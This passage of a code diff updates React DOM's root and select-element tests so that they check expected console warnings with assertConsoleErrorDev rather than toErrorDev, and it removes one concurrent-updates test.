-    expect(() => root.render(<App />, {})).toErrorDev(
+    root.render(<App />, {});
+    assertConsoleErrorDev([
       'You passed a second argument to root.render(...) but it only accepts ' +
         'one argument.',
-      {
-        withoutStack: true,
-      },
-    );
+    ]);
   });
 
   it('warn if a container is passed to root.render(...)', async () => {
@@ -80,25 +79,23 @@ describe('ReactDOMRoot', () => {
     }
 
     const root = ReactDOMClient.createRoot(container);
-    expect(() => root.render(<App />, container)).toErrorDev(
+    root.render(<App />, container);
+    assertConsoleErrorDev([
       'You passed a container to the second argument of root.render(...). ' +
         "You don't need to pass it again since you already passed it to create " +
         'the root.',
-      {
-        withoutStack: true,
-      },
-    );
+    ]);
   });
 
   it('warns if a callback parameter is provided to unmount', async () => {
     const callback = jest.fn();
     const root = ReactDOMClient.createRoot(container);
     root.render(<div>Hi</div>);
-    expect(() => root.unmount(callback)).toErrorDev(
+    root.unmount(callback);
+    assertConsoleErrorDev([
       'does not support a callback argument. ' +
         'To execute a side effect after rendering, declare it in a component body with useEffect().',
-      {withoutStack: true},
-    );
+    ]);
     await waitForAll([]);
     expect(callback).not.toHaveBeenCalled();
   });
@@ -150,10 +147,27 @@ describe('ReactDOMRoot', () => {
         <span />
       </div>,
     );
-    await expect(async () => await waitForAll([])).toErrorDev(
-      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      {withoutStack: true},
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n" +
+        '\n' +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n' +
+        '\n' +
+        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n' +
+        '\n' +
+        'https://react.dev/link/hydration-mismatch\n' +
+        '\n' +
+        '  <div>\n' +
+        '    <span\n' +
+        '-     className="extra"\n' +
+        '    >\n' +
+        '\n    in span (at **)',
+    ]);
   });
 
   it('clears existing children', async () => {
@@ -185,14 +199,12 @@ describe('ReactDOMRoot', () => {
 
   it('warns when creating two roots managing the same container', () => {
     ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOMClient.createRoot(container);
-    }).toErrorDev(
+    ReactDOMClient.createRoot(container);
+    assertConsoleErrorDev([
       'You are calling ReactDOMClient.createRoot() on a container that ' +
         'has already been passed to createRoot() before. Instead, call ' +
         'root.render() on the existing root instead if you want to update it.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('does not warn when creating second root after first one is unmounted', async () => {
@@ -306,39 +318,6 @@ describe('ReactDOMRoot', () => {
     }).rejects.toThrow('The node to be removed is not a child of this node.');
   });
 
-  it('opts-in to concurrent default updates', async () => {
-    const root = ReactDOMClient.createRoot(container, {
-      unstable_concurrentUpdatesByDefault: true,
-    });
-
-    function Foo({value}) {
-      Scheduler.log(value);
-      return <div>{value}</div>;
-    }
-
-    await act(() => {
-      root.render(<Foo value="a" />);
-    });
-
-    assertLog(['a']);
-    expect(container.textContent).toEqual('a');
-
-    await act(async () => {
-      root.render(<Foo value="b" />);
-
-      assertLog([]);
-      expect(container.textContent).toEqual('a');
-
-      await waitFor(['b']);
-      if (gate(flags => flags.allowConcurrentByDefault)) {
-        expect(container.textContent).toEqual('a');
-      } else {
-        expect(container.textContent).toEqual('b');
-      }
-    });
-    expect(container.textContent).toEqual('b');
-  });
-
   it('unmount is synchronous', async () => {
     const root = ReactDOMClient.createRoot(container);
     await act(() => {
@@ -387,14 +366,15 @@ describe('ReactDOMRoot', () => {
     });
     expect(container1.textContent).toEqual('Hi');
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root1.render(<App step={2} />);
-      });
-    }).toErrorDev(
-      'Attempted to synchronously unmount a root while React was ' +
-        'already rendering.',
-    );
+    ReactDOM.flushSync(() => {
+      root1.render(<App step={2} />);
+    });
+    assertConsoleErrorDev([
+      'Attempted to synchronously unmount a root while React was already rendering. ' +
+        'React cannot finish unmounting the root until the current render has completed, ' +
+        'which may lead to a race condition.\n' +
+        '    in App (at **)',
+    ]);
   });
 
   // @gate disableCommentsAsDOMContainers
@@ -413,10 +393,11 @@ describe('ReactDOMRoot', () => {
   });
 
   it('warn if no children passed to hydrateRoot', async () => {
-    expect(() => ReactDOMClient.hydrateRoot(container)).toErrorDev(
-      'Must provide initial children as second argument to hydrateRoot.',
-      {withoutStack: true},
-    );
+    ReactDOMClient.hydrateRoot(container);
+    assertConsoleErrorDev([
+      'Must provide initial children as second argument to hydrateRoot. ' +
+        'Example usage: hydrateRoot(domContainer, <App />)',
+    ]);
   });
 
   it('warn if JSX passed to createRoot', async () => {
@@ -424,13 +405,14 @@ describe('ReactDOMRoot', () => {
       return 'Child';
     }
 
-    expect(() => ReactDOMClient.createRoot(container, <App />)).toErrorDev(
-      'You passed a JSX element to createRoot. You probably meant to call ' +
-        'root.render instead',
-      {
-        withoutStack: true,
-      },
-    );
+    ReactDOMClient.createRoot(container, <App />);
+    assertConsoleErrorDev([
+      'You passed a JSX element to createRoot. You probably meant to call root.render instead. ' +
+        'Example usage:\n' +
+        '\n' +
+        '  let root = createRoot(domContainer);\n' +
+        '  root.render(<App />);',
+    ]);
   });
 
   it('warns when given a function', () => {
@@ -440,30 +422,26 @@ describe('ReactDOMRoot', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(Component);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(Component);
+    });
+    assertConsoleErrorDev([
       'Functions are not valid as a React child. ' +
         'This may happen if you return Component instead of <Component /> from render. ' +
         'Or maybe you meant to call this function rather than return it.\n' +
         '  root.render(Component)',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('warns when given a symbol', () => {
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(Symbol('foo'));
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(Symbol('foo'));
+    });
+    assertConsoleErrorDev([
       'Symbols are not valid as a React child.\n' +
         '  root.render(Symbol(foo))',
-      {withoutStack: true},
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMSelect-test.js b/packages/react-dom/src/__tests__/ReactDOMSelect-test.js
index 72ebfd1bbe67..c90455307d0f 100644
--- a/packages/react-dom/src/__tests__/ReactDOMSelect-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMSelect-test.js
@@ -22,6 +22,7 @@ describe('ReactDOMSelect', () => {
   let ReactDOMClient;
   let ReactDOMServer;
   let act;
+  let assertConsoleErrorDev;
 
   const noop = function () {};
 
@@ -32,6 +33,8 @@ describe('ReactDOMSelect', () => {
     ReactDOMClient = require('react-dom/client');
     ReactDOMServer = require('react-dom/server');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   it('should allow setting `defaultValue`', async () => {
@@ -749,19 +752,19 @@ describe('ReactDOMSelect', () => {
   it('should warn if value is null', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <select value={null}>
-            <option value="test" />
-          </select>,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <select value={null}>
+          <option value="test" />
+        </select>,
+      );
+    });
+    assertConsoleErrorDev([
       '`value` prop on `select` should not be null. ' +
         'Consider using an empty string to clear the component or `undefined` ' +
-        'for uncontrolled components.',
-    );
+        'for uncontrolled components.\n' +
+        '    in select (at **)',
+    ]);
 
     await act(() => {
       root.render(
@@ -784,14 +787,15 @@ describe('ReactDOMSelect', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<App />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<App />);
+    });
+    assertConsoleErrorDev([
       'Use the `defaultValue` or `value` props on <select> instead of ' +
-        'setting `selected` on <option>.',
-    );
+        'setting `selected` on <option>.\n' +
+        '    in option (at **)\n' +
+        '    in App (at **)',
+    ]);
 
     await act(() => {
       root.render(<App />);
@@ -801,20 +805,20 @@ describe('ReactDOMSelect', () => {
   it('should warn if value is null and multiple is true', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <select value={null} multiple={true}>
-            <option value="test" />
-          </select>,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <select value={null} multiple={true}>
+          <option value="test" />
+        </select>,
+      );
+    });
+    assertConsoleErrorDev([
       '`value` prop on `select` should not be null. ' +
         'Consider using an empty array when `multiple` is ' +
         'set to `true` to clear the component or `undefined` ' +
-        'for uncontrolled components.',
-    );
+        'for uncontrolled components.\n' +
+        '    in select (at **)',
+    ]);
 
     await act(() => {
       root.render(
@@ -860,23 +864,23 @@ describe('ReactDOMSelect', () => {
   it('should warn if value and defaultValue props are specified', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <select value="giraffe" defaultValue="giraffe" readOnly={true}>
-            <option value="monkey">A monkey!</option>
-            <option value="giraffe">A giraffe!</option>
-            <option value="gorilla">A gorilla!</option>
-          </select>,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <select value="giraffe" defaultValue="giraffe" readOnly={true}>
+          <option value="monkey">A monkey!</option>
+          <option value="giraffe">A giraffe!</option>
+          <option value="gorilla">A gorilla!</option>
+        </select>,
+      );
+    });
+    assertConsoleErrorDev([
       'Select elements must be either controlled or uncontrolled ' +
         '(specify either the value prop, or the defaultValue prop, but not ' +
         'both). Decide between using a controlled or uncontrolled select ' +
         'element and remove one of these props. More info: ' +
-        'https://react.dev/link/controlled-components',
-    );
+        'https://react.dev/link/controlled-components\n' +
+        '    in select (at **)',
+    ]);
 
     await act(() => {
       root.render(
@@ -911,9 +915,7 @@ describe('ReactDOMSelect', () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
     async function changeView() {
-      await act(() => {
-        root.unmount();
-      });
+      root.unmount();
     }
 
     const stub = (
@@ -1056,17 +1058,21 @@ describe('ReactDOMSelect', () => {
     it('treats initial Symbol value as missing', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select onChange={noop} value={Symbol('foobar')}>
-              <option value={Symbol('foobar')}>A Symbol!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select onChange={noop} value={Symbol('foobar')}>
+            <option value={Symbol('foobar')}>A Symbol!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       const node = container.firstChild;
       expect(node.value).toBe('A Symbol!');
@@ -1075,17 +1081,21 @@ describe('ReactDOMSelect', () => {
     it('treats updated Symbol value as missing', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select onChange={noop} value="monkey">
-              <option value={Symbol('foobar')}>A Symbol!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select onChange={noop} value="monkey">
+            <option value={Symbol('foobar')}>A Symbol!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       let node = container.firstChild;
       expect(node.value).toBe('monkey');
@@ -1108,17 +1118,21 @@ describe('ReactDOMSelect', () => {
     it('treats initial Symbol defaultValue as an empty string', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select defaultValue={Symbol('foobar')}>
-              <option value={Symbol('foobar')}>A Symbol!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select defaultValue={Symbol('foobar')}>
+            <option value={Symbol('foobar')}>A Symbol!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       const node = container.firstChild;
       expect(node.value).toBe('A Symbol!');
@@ -1127,17 +1141,21 @@ describe('ReactDOMSelect', () => {
     it('treats updated Symbol defaultValue as an empty string', async () => {
       let container = document.createElement('div');
       let root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select defaultValue="monkey">
-              <option value={Symbol('foobar')}>A Symbol!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select defaultValue="monkey">
+            <option value={Symbol('foobar')}>A Symbol!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       let node = container.firstChild;
       expect(node.value).toBe('monkey');
@@ -1163,17 +1181,21 @@ describe('ReactDOMSelect', () => {
     it('treats initial function value as missing', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select onChange={noop} value={() => {}}>
-              <option value={() => {}}>A function!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select onChange={noop} value={() => {}}>
+            <option value={() => {}}>A function!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       const node = container.firstChild;
       expect(node.value).toBe('A function!');
@@ -1182,17 +1204,21 @@ describe('ReactDOMSelect', () => {
     it('treats initial function defaultValue as an empty string', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select defaultValue={() => {}}>
-              <option value={() => {}}>A function!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select defaultValue={() => {}}>
+            <option value={() => {}}>A function!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       const node = container.firstChild;
       expect(node.value).toBe('A function!');
@@ -1201,17 +1227,21 @@ describe('ReactDOMSelect', () => {
     it('treats updated function value as an empty string', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select onChange={noop} value="monkey">
-              <option value={() => {}}>A function!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select onChange={noop} value="monkey">
+            <option value={() => {}}>A function!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       let node = container.firstChild;
       expect(node.value).toBe('monkey');
@@ -1233,17 +1263,21 @@ describe('ReactDOMSelect', () => {
     it('treats updated function defaultValue as an empty string', async () => {
       let container = document.createElement('div');
       let root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select defaultValue="monkey">
-              <option value={() => {}}>A function!</option>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(
+          <select defaultValue="monkey">
+            <option value={() => {}}>A function!</option>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <option> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in option (at **)',
+      ]);
 
       let node = container.firstChild;
       expect(node.value).toBe('monkey');
@@ -1281,50 +1315,52 @@ describe('ReactDOMSelect', () => {
     it('throws when given a Temporal.PlainDate-like value (select)', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value={new TemporalLike()}>
-                <option value="2020-01-01">like a Temporal.PlainDate</option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value={new TemporalLike()}>
+              <option value="2020-01-01">like a Temporal.PlainDate</option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
       ]);
     });
 
     it('throws when given a Temporal.PlainDate-like value (option)', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value="2020-01-01">
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value="2020-01-01">
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
       ]);
     });
 
@@ -1332,25 +1368,26 @@ describe('ReactDOMSelect', () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
 
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value={new TemporalLike()}>
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value={new TemporalLike()}>
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
       ]);
     });
 
@@ -1368,23 +1405,23 @@ describe('ReactDOMSelect', () => {
         );
       });
 
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value={new TemporalLike()}>
-                <option value="2020-01-01">like a Temporal.PlainDate</option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev(
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value={new TemporalLike()}>
+              <option value="2020-01-01">like a Temporal.PlainDate</option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
-      );
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
+      ]);
     });
 
     it('throws with updated Temporal.PlainDate-like value (option)', async () => {
@@ -1401,24 +1438,24 @@ describe('ReactDOMSelect', () => {
         );
       });
 
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value="2020-01-01">
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev(
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value="2020-01-01">
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
-      );
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
+      ]);
     });
 
     it('throws with updated Temporal.PlainDate-like value (both)', async () => {
@@ -1435,57 +1472,58 @@ describe('ReactDOMSelect', () => {
         );
       });
 
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value={new TemporalLike()}>
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(
-          // eslint-disable-next-line no-undef
-          new AggregateError([
-            new TypeError('prod message'),
-            new TypeError('prod message'),
-          ]),
-        );
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value={new TemporalLike()}>
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(
+        new AggregateError([
+          new TypeError('prod message'),
+          new TypeError('prod message'),
+        ]),
+      );
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
       ]);
     });
 
     it('throws when given a Temporal.PlainDate-like defaultValue (select)', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} defaultValue={new TemporalLike()}>
-                <option value="2020-01-01">like a Temporal.PlainDate</option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} defaultValue={new TemporalLike()}>
+              <option value="2020-01-01">like a Temporal.PlainDate</option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
       ]);
     });
 
@@ -1493,50 +1531,52 @@ describe('ReactDOMSelect', () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
 
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} defaultValue="2020-01-01">
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} defaultValue="2020-01-01">
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
       ]);
     });
 
     it('throws when given a Temporal.PlainDate-like defaultValue (both)', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} defaultValue={new TemporalLike()}>
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} defaultValue={new TemporalLike()}>
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
       ]);
     });
 
@@ -1555,25 +1595,26 @@ describe('ReactDOMSelect', () => {
 
       container = document.createElement('div');
